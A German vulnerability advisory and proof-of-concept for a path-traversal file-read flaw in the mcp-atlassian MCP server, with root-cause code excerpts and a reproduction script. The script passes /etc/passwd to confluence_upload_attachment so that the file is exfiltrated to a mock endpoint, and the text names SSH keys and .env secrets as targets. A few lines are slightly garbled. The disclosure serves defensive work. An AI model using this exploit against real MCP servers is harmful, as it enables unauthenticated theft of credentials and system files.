
Proof-of-Concept-Exploit für beliebiges Dateilesen in mcp-atlassian über Path Traversal in confluence_upload_attachment, mit Analyse- und Reproduktionsskripten.
Schweregrad: Hoch (CVSS 8.6)
CWE: CWE-22 — Path Traversal
Betroffen: sooperset/mcp-atlassian < 0.22.0
Behoben in: 0.22.0
Advisory: GHSA-p6hp-93wp-fh6p
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-77262
Credit: Romain Deperne
Das MCP-Tool confluence_upload_attachment übergibt sein file_path-Argument direkt an open(file_path, "rb") ohne Pfadvalidierung. Ein Angreifer, der das Tool aufrufen kann, liest beliebige Dateien vom Server-Dateisystem und exfiltriert sie über einen Multipart-Upload an einen vom Angreifer kontrollierten Confluence-Endpunkt. Der standardmäßige streamable-http-Transport bindet ohne Authentifizierung, was dies ohne Anmeldedaten remote ausnutzbar macht.
0.0.0.0Dies ist das leseseitige symmetrische Gegenstück des zuvor gepatchten GHSA-xjgw-4wvw-rgm4 — der Fix in v0.17.0 deckte nur den Schreib-/Download-Pfad ab. Der Upload-Pfad blieb ungeschützt.
mcp-atlassian hatte bereits einen Path-Traversal-Fix in v0.17.0 (GHSA-xjgw-4wvw-rgm4) erhalten, der den Schreibpfad patchte — das Herunterladen von Anhängen auf die lokale Festplatte. Meine Hypothese: Wenn ein Fix auf eine Richtung einer symmetrischen Operation angewendet wird, wird die andere Richtung oft übersehen.
Die Überprüfung der open(-Aufrufstellen in attachments.py zeigte, dass der Download-Pfad validate_safe_path(local_path) vor dem Öffnen einer Datei aufrief, während der Upload-Pfad dies nicht tat. Die beiden Richtungen hatten inkonsistente Pfadvalidierungen.
Die Tool-Definition bestätigte dies: file_path: Annotated[str, Field(description="Absolute path to the file to upload")] ohne pattern=-Einschränkung, ohne Validator, ohne alles. Das Feld ist wörtlich dokumentiert als akzeptierend einen absoluten Pfad ohne Einschränkung.
Ich habe es Ende-zu-Ende reproduziert: Ich startete den echten mcp-atlassian-Serverprozess, steuerte ihn mit einem MCP-stdio-Client (mcp.ClientSession), richtete ihn auf einen lokalen Mock-Confluence-HTTP-Stub und rief confluence_upload_attachment mit file_path=/etc/passwd auf. Der Mock-Server protokollierte den vollständigen /etc/passwd-Inhalt im Multipart-Body. Zwei vollständige Reproduktionsläufe, beide in den PoC-Dateien protokolliert.
Die standardmäßige HOST=0.0.0.0-Bindung ohne Auth macht dies in der Standardbereitstellung ohne Anmeldedaten remote ausnutzbar.
Datei: src/mcp_atlassian/confluence/attachments.py, Zeile 477
with open(file_path, "rb") as fp: # ← file_path ist angreiferkontrolliert
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
Tool-Definition (src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# Kein pattern=, kein Validator, kein validate_safe_path()
Die Asymmetrie mit dem gepatchten Download-Pfad:
# attachments.py:223 — GEPATCHT (Download-Pfad)
validate_safe_path(local_path) # ← Guard hinzugefügt in v0.17.0
open(local_path, "wb")
# attachments.py:477 — VERWUNDBAR (Upload-Pfad)
open(file_path, "rb") # ← kein Guard, in v0.17.0 übersehen
Der v0.17.0-Patch für GHSA-xjgw-4wvw-rgm4 fügte validate_safe_path()-Aufrufe auf der Schreibseite hinzu (Herunterladen von Anhängen auf die lokale Festplatte), prüfte aber nicht die Leseseite (Hochladen lokaler Dateien zu Confluence). Der check_write_access-Dekorator ist nicht verwandt — er sperrt nur READ_ONLY_MODE.
Standardmäßige Netzwerkexposition (src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # bindet alle Schnittstellen
# keine Auth-Schicht im streamable-http-Transport
Vollständig Ende-zu-Ende gegen einen lokalen HTTP-Stub reproduziert, der die Confluence-API simuliert. Siehe mcp_client.py, mock_confluence.py und poc_run1.sh.
# poc_run1.sh — liest /etc/passwd über confluence_upload_attachment
# 1. Mock-Confluence-Endpunkt starten
python mock_confluence.py &
# 2. MCP-Tool mit Path-Traversal-Payload aufrufen
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → /etc/passwd-Inhalt erscheint im mock_confluence.py-Log
/etc/passwd, SSH-Schlüssel, .env, Anwendungsgeheimnisse)streamable-http-Transport bindet 0.0.0.0, keine Auth; jeder netzwerkerreichbare Angreifer kann MCP-Tools direkt aufrufen